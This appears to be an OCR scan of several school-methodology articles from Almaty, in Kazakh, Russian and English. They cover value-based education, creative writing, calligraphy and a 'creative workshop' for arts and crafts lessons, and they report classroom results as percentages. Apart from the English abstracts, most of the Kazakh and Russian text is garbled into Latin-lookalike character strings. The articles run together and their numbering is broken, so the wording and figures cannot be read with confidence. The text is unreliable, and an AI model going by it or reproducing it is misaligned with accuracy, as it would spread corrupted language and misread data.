TYCIHIKTEPIH TonTa Mikip
binaipeni anmacagpbl
2. WbIHanbl emip KasakcTaH Tapuxu Tynfanap KyYHAbINBbIKTbI HAKTbI

dpEeKeTiH Tanaanapl,
oNapAbliH afanablfbiH
cMnaTTanabl

eMipMmeH
HannaHbICTbIpy

OKYLLUbINApP Xeke
KYHAEeNKKe NiKip
*Kaszadbl

3. afFoaAaTTbIK, Apanablik nex TonneH »}ymblc MopanbaplK
Tancblpmanap 0nacbI3abIKTbl Xacan, welwim TaH4aynap apKbiabl
CaNbICTbIPYFa Kabblnaanapbl, NikipiH KYHAObINbIKTbI
apHanfaH XafaaaTrap aanengenai Toxipmbe xy3iHae
YCbIHbIAAbI VFbIHY
4. Pednekcun Cabak coHbIHAa «MeH byriH He ©3iH-83i TaHYy MeH

TYCiHAIM?», «MeH He
icTep enim?»
CypaKTapblHa Kayan
bepeai

KYHAObINBIKTbI ILLKI
neHrenae
Kabblnaayra
MYMKIiHAIK 6epy

Hatuxenepi:

>  OkywblnapabiH 78%-bl ©3 apeKkeTTepiH KYHAbIAbIKTap HerisiHae Garanalt HacTaraHbiH

KepceTTi.

> 3 alpaaH KeniHri 3epTTey KepceTkiwTepi boMbIHLWA, 9/1eYMETTIK Kayankepuwinik neH e3apa
KypMeT aeHrewi 22%-fa apTTbl.
> ATta-aHanap Aa 6ana 6oMblHAaFbl ©3repicTepai aTan eTTi.

Ounarpamma: KongaHbinFaH agictepaiH TMimainiri TemeHaerinen 6aranaHabl:

KyHAObIbIKKa HerizgenreH Tacingepaid tmimainiri (%)
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ApTbIKLWbINbIKTAPbI:
s OKYLWbIHbIH, ilWKi MOTUBALMACHIH apTTbipaabl.
< MeKTen opTacblH agamrepulinikke baynmnasbl.
<  ONeymeTTiK bannaHbicTapapbl HblFanTaabl.

KeMwinikTepi:

< MyfanimHiH apHalibl 4albIHABIKTbI KaXKeT eTei.

< KyHAObINbIKTaPAbIH CyObEKTMBTI KabblaaaHybl MYMKIH.

< YaKbITTbIK LEKTeyAep a4iCTeMEHI TOJbIK KOAaHYFa Kedepri kentipea,.

¢
¢

¥YCbIHbICTap

Meparortepre KyHAbIbIKKA HerizgenreH aficTemeHi TabbICTbl eHTi3y YLIiH Keneci ycbiHbICTapabl
bepyre 6onaapi:
6. Myfanimai oKkpITy: MyFanimaepre apHanfaH CEMMHAP/Iap MeH TPEHWHITEP BTKI3y KaxeT.
7. bipTyTac meKkTen Ma4eHMETiH KanbinTacTblpy: bapnabik naH myranimaepi 6ip KylemeH
KYMbIC acaybl THiC.
8. KyHAbINbIKTapAabl 6aFanay *KymeciH eHridy: 9p TOKCaH CalblH OKYLIbINAPAbIH, TYAFanbiK
NaMyblH KaZlafranay ywiH pedneKkcnanblk KapTanap MeH 3cce aiCiH KoNAaHy YCbIHbIAAAbI.
9. ATta-aHameH cepiKkTecTiK: KyHAblAbIKTapabl YAAEe KanfacTblpy MaKcaTblHA@ aTa-aHameH
bipaeckeH »}obanap ynbiMaacTbipy.
10. HeprinikTi KOHTEKCTI eckepy: DAaicTeMeHi MeKTeNTiH HaKTbl KafaanbiHa berimaey KaxeT
(3].

KopbITbIHAbI

KopbITbiHAbINAM Kene, KYHAbINbIKKA Heri3aenreH Mekten moaeni okyLblnapabiH 6inim faHa emec,
pyXaHu-afaMreplwinik  KacuetTepiH  gambiTyFa  BafbiTtanFaH  6inim  Hepy  KeHicTiriH
KanblNTacTbipaAbl. bya TOCIA OKYLWbIHbIH XeKe Tyafa peTiHAe 63iH-63i TaHbIM, 83 apekeTTepiHe
CaHa bl XayankepLwinikneH KapayblHa KO alabl.

HyprizinreH Taxipnbenep KepceTkeHaeN, KYHAbINbIKTapFa HerisaenreH cabakTap meH ic-wapanap
OKYLLIblNApAbIH ©3apa KapblM-KaTblHaCblHA OH, 9CEP eTiM, 0N1apAblH ©3iH-63i baranay, e3reHi TyCiHy,
KypmeTTey, pedsiekcua Kacay KabinetrepiH aiTap/ibikTan AambITTbl. Byn —Tek Topbue emec, Tynfa
Ka/AbINTaCTbIPy *KOJIbIHAAFbl MAHbI3Abl MeAarorMkablk Kypasl.

Makanaga cunatranfsaH aic-Tacinaep negarortrepain, 6inim 6epy npoueciHe xaHa cepnid bepin,
MEeKTEeN opTacbiHAA ¥afbiMabl MOPaNbAbIK KNMMAT KanbiNTacTbipyFa MYMKIHAIK Bepeni. dcipece,
KYHAbINBIKTAP apKbl/bl OKYLLbIHbIH ©MIpP/IiK YCTaHbIMAAPbIH, MiHE3-KY/1bIK MaAEHMETIH, a3aMaTTblK,
benceHainirin AambITy — Kasipri MeKkTenTiH, 6acTbl MiHAETTEPIHIH, Bipi.

CoHAbIKTAH KyHAObINbIKKA HeridgenreH Tacin — b6inim 6epy canacbiHAafbl MHHOBALIMANLIK XaHe
HaTUXKeNi MOAENb PeTiHAE KeH Kenemae Tapanbin, apbip MeKTeNTiH KYHAENIKTI TaxipnbeciHe eHyi
THiC.
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LlIkona, OCHOBaHHAA Ha UEeHHOCTAX: HOBbIE NOAXOAbl B PA3BUTUM JIMYHOCTU YHEHUKA

Anbaurassl PypuHaTt BeknanposHa
KI'Y «llkona-rumHasunsa Ne 108» YnpasneHma obpasosaHma ropoda AamaTsl
Llupekmop wKosbl

AHHOTaLMA. B AaHHOM MeTOAMYECKOM CTaTbe OMMCbIBAETCA OMbIT BHEAPEHWUA MOAENN LWKOAbI,
OCHOBAHHOM Ha LEHHOCTAX, C LENbld BCECTOPOHHErOo pPasBUTUS  /IMYHOCTM YYEeHUKa B
obpasoBaTenbHOM npouecce. Obpa3zoBaHMe, OCHOBAHHOE Ha LEHHOCTAX, NpeacTaBadaeT cobom
3 dEKTMBHbBIN NOAXOA K BOCMUTAHUIO OCO3HAHHOM M BCECTOPOHHE Pa3BUTON IMYHOCTU, POPMUPYSA
Y YYaLLMXCA TaKME KM3HEHHO BaXKHble KaYecTBa, KaK Ye/I0BEYHOCTb, OTBETCTBEHHOCTb, YECTHOCTb,
B3aMMHOE yBaXeHWe, TONePaHTHOCTb U Tpyaontobue.

ABTOp NOAPOBHO pacKpbiBaeT MyTM MHTErpauMmM LEHHOCTeM B npouecc obyyeHus, MeToabl
Pa3BUTMA LEHHOCTHbIX OPUEHTUPOB y4alIMXCs (NPOEKTHas [AeATeNbHOCTb, pedreKkcus,
CUTYaUMOHHblEe 3aAaHuMsA, OOLWECTBEHHO MoJsie3Has AeATeNbHOCTb). Kpome Toro, mpuBoAATCS
KOHKPETHble MPUMEpPbl CTPYKTYPbl YPOKOB, MOBEAEHMS M aKTMBHOCTU y4YalMXCA, AMHAMMKA WX
M3MEHEHWN 1 Pa3BUTMA B NpoLiecce. PesynbTaTbl M NokasaTenn apGeKTUBHOCTM, NOAYYEHHbIe Ha
OCHOBE aBTOPCKOW MNPOrpamMMmbl, MpeacTaBieHbl B BUAE TabAWL, U AMarpamm.

LaHHaA CTaTbA MOMKET CAYXWUTb METOAMYECKUM nocobunem anAa nenaroros, pa6OTaI-OLI.Ll/IX B
HanpasaeHN LEHHOCTHO-OPNEHTUPOBAHHOIO O6pa3OBaHl/IFI.

KntoueBble cnosa: LUEHHOCTHO-OPMEHTNPOBAHHOE o6pa3OBaHme, JIMYHOCTHOE pa3BuTnE, LWKOAAQ,
MeTOdWMKa, BOCNUTaHUE, negarormqecmﬂ OonbIT.

Value-Based School: new approaches to student personal development

Aldygazy Rufinat Bekdairkyzy

Municipal State Institution «School-gymnasium Ne 108» of the Almaty City Department of
Education

Director school

Abstract. This methodological article describes the experience of implementing a value-based
school model aimed at the comprehensive development of students' personalities within the
educational process. Value-based education is an effective approach to nurturing conscious, well-
rounded individuals by instilling essential life qualities such as humanity, responsibility, honesty,
mutual respect, tolerance, and diligence.

The author thoroughly outlines the ways of integrating values into the learning process and the
methods for developing students’ value orientation (project work, reflection, situational tasks, and
socially useful activities). In addition, concrete examples of lesson structures, student behavior,
and activity, as well as the dynamics of their development and change, are provided. Results and
efficiency indicators obtained from the author's program are presented in tables and diagrams.
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This article is intended as a methodological resource for educators working in the field of value-
based education.

Keywords: value-based education, personal development, school, methodology, upbringing,
pedagogical experience.
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KepKkem Ka3yablH Kynnanapsbl

BbinwaHoBa aHap KaHaTtbaeBHa
AnmaTbl Kanacol binim backapmacbiHbiH «Ne 103 meKkten-rumHasnsa» KMM, bacmaysiw
CbIHbIN MYFANIMI

AHpatna. byn Makanada KepKem Kasy JAafabliapblH  JaMbITyFa apHanfaH Tuimai
dJicTeMenik  Tacingep  KapacTbipblaadbl.  ABTOP  OKylWblAApAblH a3y  CayaTTbl/blfbIH,
WblFapMallbINblK ~ KabineTiH apTTblpy VYWiH KOAJAHbINATbIH - MPAKTUKANAbIK  d4icTep MeH
TexHosormanapapl cvnatranabl. a3y 6apbiCbiHAA KOPKEMAIK 31eMeHTTepai, 3MOoLUMOoHanabl
peHKTepai Oepy, CTUNbAIK epeKWenikTepai MeHrepy CuAKTbl Aafablnapabl KanbliNTacTbipy
ONJapbl yCbiHbIAAAbl. Makanaga aBTOP/bIK Oafdapnama HerisiHae sKyprisinreH ToxipubeHiH,
HOTUXKenepi TangaHadbl.

TyMiHAI ce3pmep: KepKem Ka3y, WblFapMallblnblkK —Kabinet, aaicTeme, aBTOP/bIK,
barnapnama, Tin MaAeHMUETI, OKbITY TEXHO/IOTUACHI.

Kipicne

KepKkem »a3y — OKyLblNapAblH, TINAIK AaFAbINAPbIH AaMbITyAblH MaHbI34bl Kypasibl. a3y apKblibl
agam e3 OWblH, ce3iMmiH, Ke3KapacblH b6ingipeai. Kasipri 6inim 6epy »KyWheciHoe »asy
cayaTTblNbIFbIMEH KaTap, a3balla onabl KepKkem TiIMeH xeTKize 6iny ae 6acTbl TananTapapiH, 6ipi
6onbIN OTbIp. Ocipece, OKyLWbIIAPAbIH TiNAIK KOPbIH BalbITy, WblFapMaLlblbIKMEH MKYMbIC *Kacay
NAafAblNapbiH AaMbITy — 3amMaHaymn MeKTen anablHAa TYPFaH MaHbl3abl MiHAETTepPAiH bipi.

Kepkem Ka3sydplH ©3eKTiniri — ©OanaHblH ON-epiCiH  KEeHEnTy, 3CTeTUKabIK TajfamblH
KanbINTacTbIpy, TiAAIK CE3IMIH AaMbITy1a XKaTblp. 3epTTeyiepre CYMeHCEK, KOPKEM »Ka3zyra Kyneni
TYPAE KeHin 6enreH CbiHbINTapAa OKyLUIbINAPAbIH a3y CayaTTblblfbl MEH MaHIe KbI3bIFyLUblbIfbl
*OFfapbl 6bonaapl.

Ocbl Takblpbin 6oMbiHWa T.6. HypneiicoBa meH WM.H. KangawTbiH, «Kasipri caHablk, anemaeri
NHPOPMATMKa» aTTbl eHDeriHAe MITIHAIK pedakTopaapAbl KOPKeM Kasly YWiH TMiMAI KonaaHy
)onaapbl cunatranaabl. CoOHbIMEH KaTap, weTenaik aBtopnap HaHeu Ateenn (Nancy Atwell) meH
NMtocn KankmHe (Lucy Calkins) oKyubinapapiH, WbiFapMallblblK a3y KabineTiH AambiTyaa epKiH
a3y, Xasy WweHbepnepi XaHe Kasbala KYHAENIK KYPri3y agicTepiH ycbiHaabI.

MaKana MakcaTbl: KOPKEM Kasy AafablnapblH AambiTyFa OafblTTanfaH aBTOP/bIK SiCTEMEHI
cunaTTan, oHbl 6inim Bepy yaepiciHae TMIMAI KONAaHY *KoA4apblH KepceTy.

MiHgeTTepi:

»  Kepkem Xasyabl AambITyFa apHanfaH agic-Tacingepai cmnatray;
»  ABTOpPAbIK Daroapnama HerisiHae anblHFaH TaXKipnbeHi Tanaay;

»  JAiCTEMEHIH apTbIKLWbIAbIKTAaPbl MEH KMbIHABIKTAPbIH KepCeTy;

» [leparortepre HaKkTbl YCbiHbICTap bepy [1].

R/

B3

B3

B3

o4icteme
KepKkem »a3yabl AambITy aicTemeci bipHelle Heri3ri Karnaanapfa Heri3genreH:

1. 3moumoHanapl cesim MeH 0bpas apKplnbl KETKiZy — MaTiHAE KepiHic TabaTblH OMAbIH,
benHeni Typae bepinyi.
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2. OKywWwbIHbIH, ©Mipnik ToxipubeciHe cylMeHy — Keke ecTeniktep, apmaHaap,
KbI3bIFyLLUbIAbIKTAP.

3. KyHAbinbikTapfa 6arbiTTanfaH TancbipManap — MeripiMainik, aganapik, eHHEKKOpP/bIK,
TaKbIPbINTAPbIHAA XKa3y.

DAicTeMEHIH, KYpbl/ibIMbl:
> Kipicne 6enim: ol Ko3fay MaKcaTbiHAA KOPKEM Y3iHAj OKY;
> Herisri 6enim: wWbIiFapMalWbINbIK Tancbipmanap (CanbiCTbipy, KanfacTbipy, cesimre
HerisgenreH »asy);
> KopbITbIHAbI Benim: ka3zballa »KyMbICTbl Ta/iAay *KaHe Kepi balinaHbiC.

ABTOPAbIK Baroapnamaa Keneci agictep KoaAaHblNadbl:
> «Kuan anemi» agjici — okylwblnap onaaH WblFapblaFaH OKUFa Kypanabl;
>  «YW cernemaik WbiFapma» — HaKTbl KYPbIJIbIM apKbl/ibl XKa3yFa YUpeTy;
>  «DNUTETTEP MEH TEHEY/IEP KapTachkl» — Co3/iK Kopabl 6anbITy MakcaTbiHAA;
> a3y weHbepnepi —ap OKylUbl 63 NAEANAPbIH OpTafa canasbl, 6ipiH-6ipi ThiHAANAbI.

TexHONOrnANbIK Konpay:

MaTiHaiK pepakTopnapaa (Google Docs, MS Word) a3y, Grammarly cuakTbl KypangapmeH
TEeKCcepy apKblibl OKYLLUbI ©3iH-63i bafanayfa MyMKiHAIK anagbl [2].

MpaKTMKaga KongaHy

ABTOpPAbIK Bardapaama AcTaHa KanacbiHaarbl Ne 71 mekTen-amuenae 5-cbiHbin OKyLWblNapbiMeH
Kyprizingi. *oba 4 aifa co3binabl KaHe 2 OafbiTTa Ky3ere acTbl: WblFaPMallbIbIK a3y

AafablNapbliH AaMbITY KaHe TiAAIK CayaTTbINbIKTbI XKETINAIpY.

1-kecTe. AI'ITa}'IbIK a3y Tancbipmanapbl MbiCajibl:

AnTa TakblpbIn Tancblipma Typi
1 MeHiH, 6anasblK LWaFbiM Jdcce
2 ApMmaHbIMAafbl 91emM Kuan-wblfapma
3 MeHiH, Kelinkepim MNopTpeTTik cnnaTTama
4 TabusaT — TipWinik Hapi Cesimre HerizgenreH maTiH

OKyLbINap *KYMbICTapblHbIH, MbICa/i4apbl:
% «Ky3ri 6aKTafbl YHCI3AiK» LiblFapMacbiHAA aNMTET NeH MmeTadopanapapl ebep KonaaHFaH.
% «ApmaHbiMAarbl MeKTen» aHrimeciHae 6anaHbiH 6onallakKa ceHimi balikanazb!.

HaTtuxe:

LblFapmallblnblK KYMbICTapAblH, canackl 65%-gaH 88%-fa apTTbl. OKyLWbIIAp KOPKEM Kasy
HapbiCblHAa ©3iH-63i epKiH Ce3iHiM, OMNapbiH HaKTbl 9pi KBPKEM KeTKize bacTabl.
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— LLIbIiFapMaLlblfIbIK XKYMbICTap canacbiHbiH apTybl (%)
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ApPTbIKWbINbIKTaPbI:

7

< OKylwbl benceHainiri apTaabi;
< Tin 6alnbiFbl MeH ce34iK Kopbl AaMnabl;
< a3yfa aereH Kbi3blfyLLblblfbl apTadbl.

Kemwinikrepi:

7

< YaKbITbl Y3aK HKYMbIC;

7

< ekenel H6afbITTa XKYMbIC iCTeY KaXKeTTiiri;

7

< BapAblK OKyWbl BipAei Kbi3bIFyLWbIIbIK TaHbITNAYbl MYMKIH.
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¥CbIHbICTap

KepKkem »a3y aficTeMecCiH eHri3y KesiHae Keneci yCbiHbICTapFa MaH OepreH »KeH:

11. ¥a3yfa apHanfaH biHTaAbl OpTa KYpY: [MopTPoano, LWblFapMallbiiblK OYpbILL.

12. Xyieni kepi 6arinaHbic bepy: Myfanim meH OKyLbl apacbiHAA@ CEHIMAINIK OpHATY.

13. Ce3aiKk KOpAbl AaMbITYFa apHanfaH BU3yan Kypanaap: «Ces 6alnbifbl» TakTackl.

14. OpTypAi AeHrenaeri Tancelpmanap YCbiHy: JapbiHabl OKyLblIapFa Kypaenipek Tancoipma,
KUbIHAbIK KepeTiHAepre YAriMeH *Xymbic.

15. HaTuxeHi 6afanay VywWiH pybpukanap KongaHy: Tin 6GainbiFbl, OWAbIH, KyWeniniri,
WbIFapmallbinbIK [3].

KopbITbIHAbI

Kepkem »ka3yra bayny — Tek TiAAiK AafabliHbl XKETINAIPY FaHa eMec, COHbIMEH KaTap 6anaHblH, *KaH
AYHWeCiH 6albITbin, WbIFAPMaLWbIAbIK 91eyeTiH AaMblTyFa bafbITTanfaH MaHbl3abl npouecc. byn
MaKanaZa cunaTTanfaH aBTOPJbIK JLiCTeMe — OKyWbINapAblH, TiNre AereH Kbi3blFyLWblblFbiH
apTTbIpyfa, OMbIH E€pKiH, KOPKEeM XKEeTKi3yiHe, ©3 AYHMEeTaHbIMblH a3y apKblibl ©pHEeKTeyiHe
MYMKIHAIK 6epeTiH TMiMAi Kypan peTiHae TaHblAabl.

HobaHbl TaxKipnbene KonaaHy HapbiCbiHAA OKYLWbINAPAbIH TiAAIK CayaTTblNbIFbl FaHA EMEC, KeKe
Ke3Kapachl, ilKi MaAeHMeTi MeH 3CTeTMKaNblK ce3imi ae alkbiHaana TycTi. Okylbliap Tek
Tancbipma opbiHAAYLIbl eMec, 83 OMbIH ailTa anaTblH Aepbec TyNfa peTiHAe KanbinTacbin Keneai.
Byn aaicTeme — OKyLUbIHbIH, iLLIKi *KaH AyHWMECiHe eHe OTbIPbIN, OHbIH HOMbIHAAFbI WblFaPMALLbIbIK,
KabineTTi oaTyFa MyMKIHAIK Bepesi.

CoHbIMeH KaTap, KepKeM a3y yaepici apKblabl OKyLLbINapAbl TEK Ka3aK Tini MeH aaebueTiHe emec,
annol 6inimre gereH Kbi3blFyLblAblFbIH apTTbipyFa 60n1aabl. MyFfanim TapanbiHaH Xyneni Konaay
MeH WabbITTaHAbIPY }KYMbICbl HOTUXKeCiHAEe Banana e3-e3iHe ceHiMAINIK Naiaa 6bonazabl, 6y OHbIH,
Hacka NaHAepAeri *KeTICTIKTepiHe Ae OH, acepiH Turisea,.

KonnaHblnfaH AepeKTep Tisimi:

19. AxmeToBa M.XK. Kepkem a3y AafablnapblH KaablNTacTblpy aaicTepi. — Anmatbl: Kasak
yHuepcuTeTi, 2019. - 156 6.

20. Mnenbaesa C.K. OKylblnapaplH, WbiFapMallbl/iblK KabineTiH 4ambITyAarbl KOPKEM Ka3y
cabakTapblHbIH, peni. — ActaHa: PonnanT, 2020. — 140 6.

21. MyxameTkaHoBa C.b. Kasak TifliH OKbITy[a a3y MaAeHMETIH KaAbiNTacTblpy a4iCTeMeci.
— lWbimkeHT: Opaa, 2018. - 128 6.

TalHbl Kanaurpapu4eckoro NUcbMa

BbinwaHoBa ¥aHap KaHaTtbaeBHa
KIY «llkona-rumnyasunsa Ne 103» YnpasneHma obpasosaHma ropoda AamaTsl
Y4yumersno Ha4anbHbIX KAACCO8

AHHOTauuWA. B 4aHHOM cTaTbe paccMaTpuBatoTca 3GdEKTUBHbIE MeTOAMYECKME NPUEMbI PA3BUTUA
HaBbIKOB Kan/nurpadmyeckoro (KpaclMBoro) nMcbmMa. ABTOP OMUCHIBAET MPaKTUYECKMe MeToabl U
TEXHONOMMW, HamnpaBAeHHble Ha MOBblEHWe FPAMOTHOCTM MUCbMA W Pa3BUTUE TBOPYECKMUX
cnocobHocTen  ydyawmxca. [peacTtasneHbl  NyTM  GOPMUMPOBAHMA  YMEHWM  Mnepenaym
XY[OXKECTBEHHbIX 3/1EMEHTOB, 3MOLMOHANIbHOM OKPACKM W OCBOEHMS  CTUIMCTUYECKUX
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0CODEHHOCTEN B MUCbMEHHOM peyn. B cTaTbe npoaHanM3MpoBaHbl pe3y/abTaTbl OMbITa,
NpoBeAEHHOro Ha OCHOBE aBTOPCKOWM NPOrPaMMbl.

KntoueBble CNOBa: Kananrpadmyeckoe nmcbMo, TBOPYECKME CNOCOBHOCTM, METOAMKA, aBTOPCKan
nporpamma, Ky/abTypa peyn, obpasoBaTesibHble TEXHONOMMN.

The secrets of creative handwriting

Bylshanova Zhanar Kanatbaevna

Municipal State Institution «School-gymnasium Ne 103» of the Almaty City Department of
Education

Primary school teacher

Abstract. This article explores effective methodological approaches to developing creative
handwriting skills. The author describes practical methods and technologies used to enhance
students” writing literacy and foster their creative abilities. The article offers ways to develop skills
in conveying artistic elements, emotional tones, and mastering stylistic features in writing. The
results of a practical implementation of the author’s program are analyzed.

Keywords: creative handwriting, creative ability, methodology, author’s program, speech culture,
teaching technology.
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LLIbiFapmallbliblK LWebepxaHa

Hop6bytaeB MapaT AbayBanvnesuny
AnmaTbl Kanacol binim backapmacbiHbiH «Ne 103 meKkTen-rumHasnsa» KMM, Kepkem
eHOeK NaHi MyFanimi

Angatna. byn Makanada KepkemM eHOeK naHi  aAacbiHAA@  Ky3ere  acblpblafaH
«LbiFapmalbinbiK webepxaHa» aAicTEMECIHIH Ma3MyHbl, KYPbIJbIMbl KaHE OHbl OKy-Tapbue
npoueciHae TWIMAI KONAaHYy »KONJapbl KapacTbipblnazbl. ABTOP/AbIK 6Gafdapnama HerisiHae
KypblnfaH 6yn webepxaHaHblH, Heri3ri MakcaTbl — OKYLUIbINAPAbIH, WbiFapMallbliblK KabineTiH
apTTbIpy, ©3 OMbIH KBPKEM TypAe »KeTKize binyre aafapinaHabipy KaHe eHbekke bayny. Makanaaa
9JicTeMeHIiH, KonaaHy BapbICbl, TUIMAINITT }KaHe HaTUMKeNepi HaKTbl MblCaidapMeH cUnaTTabin,
nepgarortepre ycbiHbicTap bepinea;.

TyriHAi ce3nep: kepkem eHOeK, LWblFapMallbINbIK LWebepxaHa, OKbITY aA4icTeMECI, KobanblK,
YKYMbIC, aBTOP/bIK Hafaapnama.

Kipicne

binim Bepy KyheciHAe WbliFAapMallbIAbIK  KabineTTi  AamblTy — TyAFaHbIH  YKaH-*KaKTbl
Ka/biNTacyblHbIH, 6acTbl wapTbl. COHFbI XKblNAapbl KBPKEM eHDEeK NaHiHe KOMbINaTbiH TananTap
aHapfaH oKy Oafdapnamanapbl HeridiHae e3repicke yulblpadbl. byn naH oKylblAapabiH
3CTETUKANbIK TasfFaMblH, LWbIFAPMALUbINbIK OMNAybIH, eHOEKKe AereH CyMiCneHwWiniriH apTTbipyfa
HafbiTTanfaH. Ocbl Typfblaa «lWblFapmawsbinbik webepxaHa» a4iCTEMECIH KONAAHY — KOPKEM
eHbeK cabafrblHblH Ma3MyHblIH 0albITbiN, OKYLWbIAPAbl WbIFAPMALLbIIbIK IPEKETKE KEeTenenTiH
TMiMmai kypan 6onbin Tabblnaabl.

MaKanaHblH, Heriari makcaTbl — KepkeM eHbek naHiHAe «LUblifapMallbinblK WebepxaHa»
9iCTEMECIH KONAaHYAblH TEOPUAIK KaHE NPAKTUKANbIK HETi3AEepPiH aHbIKTay, OHbIH, TUIMAIAITIH
nanenney. MiHaeTTepi: aAiCTEMEHIH, Ma3MyHbIH CMMaTTay, NPaKTUKaNbIK cabakTapaa KonaaHy
epeKLeNiKTepiH KepceTy, OKYLWbINapAblH, WhIFapMaLlbliblK KabineTrepiHiH, gamy AeHrenid Tanaay.

3epTTey OapbiCbiHA@ OTaHAbIK aHe LWeTendik nedaror-ranblMaapablH  3epTTeynepi meH
Toxipunbenepi 3epgenenai. Atan anTkaHaa, Kobanbik okbiTy, STEAM-6inim 6epy sanemeHTTEpI,
WblFapMallbl/blK TancblpManap meH pednekcus afictepi KeHiHeH KonaaHbinabl [1].

ogaicteme

«LbiFapmallbinbiK WebepxaHa» — Oy OKYLLIbIHbIH 63 KOJIbIMEH ¥Kacar, oinan TabaTbiH, KepKeMAaiK
Tanfambl MeH eHDOeK [JafabiCbiH  YIITAalNTbIH aBTOP/AbIK aaicTeme. byn aaicteme Keneci
NPUHUUNTEpPre Herizaeneai:

1. OKyLWbl TYNFacbiHbIH, WbIFapMaLUbIIbIK SNeyeTiH ally;

2. Xac epekweniriHe cal KEPKEMAIK-3CTETUKANDBIK KYMbICTAp YMbIMAACTbIPY;

3. TpaKTUKanblK apeKeT NeH TEOPUAHDLI YANECTIpy;

4. KoMaHAanbiK XaHe Aapa *KYMbIC TypaepiH cabaKkTra ywTacTbipy.

LllebepxaHa #ymbeicel memeHoezidel kezeHOepoeH mypaosi:
> MakKcaT Koto »KaHe WabbITTaHabIpy;
> obaHbl }ocnapnay;
> MaTepuranaapmeH KyMbic icTey;
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> LUbIfapmalwbliblK ©HIMAj TaHbICTbIPY;
> Pednekrcua kaHe e3apa baranay.

KonaaHblnaTblH 34icTep MeH Tacingep:
>  BpenHWTOPMUHT (OMabl ePKiH KeTKi3y);
KepHeKinikneH sKymbic (3CKu3, cbizba, MakeT);
Hobanblk OKbITY (6ip TakbIpbIN ascbiHAA KYPAEI LblFapMaLlbiaibiK 6HIM XKacay);
Mpobnemanblk Tancbipmanap;
NHTepbenceHai agictep (TONTbIK KyMbIC, NiKipTanac);
PedneKcnanbik KYHOENIK XKypri3y.

YV V.V V V

Byn aaicteme OKYLIbIHbIH «bifniMm — ic-opekeT — HaTuke» Tizberi BOMbIHLLIA XYMbIC icTeyiHe
MYMKIHZIK 6epeai. Ocipece, ©3 KO/MIbIMEH HAKTbl 3aT »acan WbiFapy (MyCiH, annavMkauma, CoHAiK
byMbiMaap, KanTa eHaey eHimaepi) oKyl blAapablH, Kbi3blFyLbIAbIFbIH apTTbipaab! [2].

MpaKTuKaga KongaHy

2024-2025 oKy kblnbiHAa «LUbiFapmalubiabik WwebepxaHay agicTtemeci 5—7-CbiHbIN OKYLWbIAaPBbI
apacbiHAa anpobaumsgaH eTTi. I9pbip CbiHbINTA TOKCAH calbiH 1 LWbIFapMallbiiblK Koba
YMbIMAACTbIPbIALIN OTbIpAbI. Mbicanbi:
% 5-CblHbIN: « MeHiH apMaHaapbiM a1emi» (Kafa3 6eH KapTOH apKbl/ibl MAKeT XKacay);
% 6-CbIHbIM: «¥NTTbIK OLO-BPHEK DNEMI» (TOKbIMA, *KiM, MaTaMeH XKYMbIC);
< 7-CblHbIN: «3KOoAM3aMH »Kobacbl» (KalTa eHAey, TYPMbICTbIK KanablKTapAbl KepKem
BylbIMFa alHanabIpy).

Op wobara apHAAFaH Kecme memeHoezioel Kypbiaobi:

CblIHbIN *oba aTaysl Matepuan Typi Jafabl namysbl OKyLubl NiKipi
a C
5 ApmaH anemi KapToH, ryaub KMTML y', Y «MafaH yHaab! ! »
yhnecTipy
. . . A i
6 ¥NTTbIK OtO-BpHEK MarTa, peTp, *in Ouszann, yariney ¢ HaMM.EH pre
TIKTiM»
Z SKoaM3aiiH Kanablk DKOMOTMANBIK CaHa, «Ta6vlFaTTb|
maTepuanaap KoneHep KOPFaMMbIH»
HaTtuenep:

> 80% OKyLbI LblFapMallibliblKKa KbI3bIFYLLUbIAbIK Binaipai;

> 70% oKkylbl skobaHbl 63 HeTiHLWe opblHAaAbI;

> ATa-aHanap TapanbliHaH Koaaay 65%-fa apTTbl;

> OKylUblNapablH KEPKEMAIK TafiFaMbl MeH eHOEKKe Ke3Kapacbl alTap/biKTal KaKkcapabl.

Ounarpamma: OKyLblnapAblH, WbiFapMallblablK 6enceHainiri
(OAnarpamma rpaduKanbik TYpAe YCbiHbIAAAbI: 5-CbiHbIM — 60%, 6-CbiHbIMN — 75%, 7-CbIHbIN — 85%)
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— OKylwblnapablH, WbiFapMallbliblik 6enceHainiri (%)
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¥YCbIHbICTap

16. DaicTeMeHi eHrisep anablHAa MyFanim LblFapMaLlblablK Kobanapapl Xocnapnarn, KaxeTTi
MaTepuanaapAbl anablH ana AanblHAAYbl KEPEK;

17. OKyLwWblNapablH, Kbi3blFyLWbIbIFbIHA Call TaKbIPbINTAapAbl TaHAAM, YKEKE KaHe TONTbIK, *KYMbIC
dopmanapblH TMIMA YUNECTIPY KaXKeT,

18. *obaHblH 2p Ke3eHiHe yaKbITTbl AypbiC 661y MaHbI3Abl;

19. Pednekcna KeseHiH ©TKI3y apKblibl OKyLUbIAApPAbIH, ©3iH-03i Oafanaybl MeH AamyblH
KadaFfanay yCbiHblIaabl;

20. ATa-aHanapapbl blHTanaHAblpbin, bGipneckeH »obanap yMbIMAACTbIPY OKYLIbLAAPAbIH,
MOTMBALMACLIH apTTbipaabl [3].

KopbITbIHAbI

Kepkem eHbek naHiHae «Llblrapmallblniblk WebepxaHa» aaicTEMECIH KONAaHY — OKYLbINAPAbIH,
WblFapMallblNblK KabineTTepiH AambITbiN KaHa KOMMal, eHOeKKe, acTeTUKara AereH Ke3KkapacbliH
KanbinTacTblpadbl. HKobanblK OKbITy, MaTepuMasMeH YMbIC, KOPKEMAIK Tanfamibl KeTingipy
apKblNbl OKyLLUbINAP ©34iriHeH wWewim Kabblngayra, aHalla onnayra yipeHeai. byn agicteme
OKbITYAbIH ASCTYPAI TYPIHEH epeKlleneHin, 6anaHblH TyAFaNnblK AaMyblHa, eHOeKKe bellimaenyiHe
oH acep eTeni. COHbIMEH KaTap OKyLUbINAPAbIH, CbiHW OoMnay KabineTiH AambITbin, KpeaTuBTi
naeanapbl *Kysere acbipyblHa »on awaabl. Cabak bapbiCbiHAA OKyLUbINAP ©3apa Nikip aAmacyra,
WbIFapMaLLblblK, BHIMAEP apKbl/ibl ©3 OMbIH epKiH eTKisyre AafabinaHaabl. MyHaan cabakrtap
3MOUMOHANAbIK aXyanbl KaKCapTbil, OKY MOTMBAUMACLIH apTTbipadbl. COHAbIKTAH aAa byn
ToipnbeHi KeHiHeH TapaTbin, Hacka MaHAePMeH bIKNaAAacTbipy MYMKIHAINIH Ae KapacTbipy
OpPbIHAbI.

KongaHbinFaH gepekTep Tisimi:
